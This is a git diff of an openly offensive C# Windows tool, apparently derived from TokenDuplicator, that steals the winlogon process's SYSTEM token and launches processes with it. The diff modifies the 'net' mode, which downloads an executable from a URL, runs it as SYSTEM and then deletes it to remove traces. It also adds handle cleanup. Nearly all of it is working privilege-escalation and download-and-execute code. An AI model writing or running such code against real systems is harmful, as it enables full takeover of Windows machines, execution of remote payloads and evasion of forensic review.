33using System . Diagnostics ;
44using System . Runtime . InteropServices ;
55using System . IO ;
6+ using System . Net ;
67
78//Based upon TokenDuplicator from Magnus Stubman
89//https://github.com/magnusstubman/tokenduplicator
@@ -115,6 +116,14 @@ public static extern bool CreateProcessWithTokenW(
115116 [ DllImport ( "kernel32.dll" ) ]
116117 public static extern uint GetLastError ( ) ;
117118
119+ [ DllImport ( "kernel32.dll" , SetLastError = true ) ]
120+ [ return : MarshalAs ( UnmanagedType . Bool ) ]
121+ static extern bool CloseHandle ( IntPtr hObject ) ; // Needed to close token handles
122+
123+ [ DllImport ( "kernel32.dll" , SetLastError = true ) ]
124+ static extern UInt32 WaitForSingleObject ( IntPtr hHandle , UInt32 dwMilliseconds ) ;
125+
126+
118127 public static bool CheckHighIntegrity ( )
119128 {
120129 WindowsIdentity identity = WindowsIdentity . GetCurrent ( ) ;
@@ -175,7 +184,7 @@ static void Main(string[] args)
175184 //In default, we are going to use services.exe as target process
176185 //Other possibilities that are running as SYSTEM: smss.exe, ntoskrln.exe
177186 String target = "winlogon" ;
178- string mode = args [ 0 ] ;
187+ string mode = args [ 0 ] . ToLowerInvariant ( ) ; //case insensitive
179188 string path = args [ 1 ] ;
180189 Console . WriteLine ( "[*] Mode: " + mode ) ;
181190 Console . WriteLine ( "[*] High Integrity Context detected!" ) ;
@@ -229,22 +238,37 @@ static void Main(string[] args)
229238
230239 if ( mode == "net" )
231240 {
232- //Destination of downloaded file
233- String dest = "C:\\ Windows\\ Tasks\\ " ;
241+ //Destination of downloaded file - user's temp directory
234242 Console . WriteLine ( "[*] Downloading file from URL..." ) ;
235- String generated = GenerateNeutralName ( ) + ".exe" ;
236- Console . WriteLine ( "[*] Full path of downloaded file: " + dest + generated ) ;
243+ String fullexepath = Path . GetTempPath ( ) + GenerateNeutralName ( ) + ".exe" ;
244+ Console . WriteLine ( "[*] Full path of downloaded file: " + fullexepath ) ;
245+
237246 System . Net . WebClient client = new System . Net . WebClient ( ) ;
238- client . DownloadFile ( path , dest + generated ) ;
239-
240- if ( ! CreateProcessWithTokenW ( hDuplicateToken2 , LogonFlags . NetCredentialsOnly , null , dest + generated , CreationFlags . DefaultErrorMode , IntPtr . Zero , null , ref si , out pi ) )
247+ client . DownloadFile ( path , fullexepath ) ;
248+
249+ if ( ! CreateProcessWithTokenW ( hDuplicateToken2 , LogonFlags . NetCredentialsOnly , null , fullexepath , CreationFlags . DefaultErrorMode , IntPtr . Zero , null , ref si , out pi ) )
241250 {
242251 Console . WriteLine ( "[!] CreateProcessWithTokenW failed with error: {0}" , Marshal . GetLastWin32Error ( ) ) ;
243252 return ;
244253 }
245254
246- Console . WriteLine ( "[*] Process " + generated + " created with SYSTEM token!" ) ;
255+ Console . WriteLine ( "[*] Process " + fullexepath + " created with SYSTEM token!" ) ;
247256 Console . WriteLine ( "[*] PID: " + pi . dwProcessId ) ;
257+
258+ //Cleanup handles on tokens
259+ if ( hToken != IntPtr . Zero ) CloseHandle ( hToken ) ;
260+ if ( hDuplicateToken != IntPtr . Zero ) CloseHandle ( hDuplicateToken ) ;
261+ if ( hDuplicateToken2 != IntPtr . Zero ) CloseHandle ( hDuplicateToken2 ) ;
262+ Console . WriteLine ( "[*] Handles closed." ) ;
263+
264+ //Delete downloaded file - we need to wait for process to finish first
265+ IntPtr ProcessHandle = pi . hProcess ;
266+ CloseHandle ( pi . hThread ) ;
267+ Console . WriteLine ( "[*] Waiting for process to finish..." ) ;
268+ WaitForSingleObject ( ProcessHandle , 0xFFFFFFFF ) ;
269+ Console . WriteLine ( "[*] Process finished. Deleting downloaded file..." ) ;
270+ File . Delete ( fullexepath ) ;
271+ Console . WriteLine ( "[*] Downloaded file deleted. Exiting..." ) ;
248272 }
249273
250274 if ( mode == "local" )
@@ -263,7 +287,13 @@ static void Main(string[] args)
263287 }
264288
265289 Console . WriteLine ( "[*] Process " + path + " created with SYSTEM token!" ) ;
266- Console . WriteLine ( "[*] PID: " + pi . dwProcessId ) ;
290+ Console . WriteLine ( "[*] PID: " + pi . dwProcessId ) ;
291+
292+ //Cleanup
293+ if ( hToken != IntPtr . Zero ) CloseHandle ( hToken ) ;
294+ if ( hDuplicateToken != IntPtr . Zero ) CloseHandle ( hDuplicateToken ) ;
295+ if ( hDuplicateToken2 != IntPtr . Zero ) CloseHandle ( hDuplicateToken2 ) ;
296+ Console . WriteLine ( "[*] Handles closed. Exiting..." ) ;
267297 }
268298 }
269299 }
0 commit comments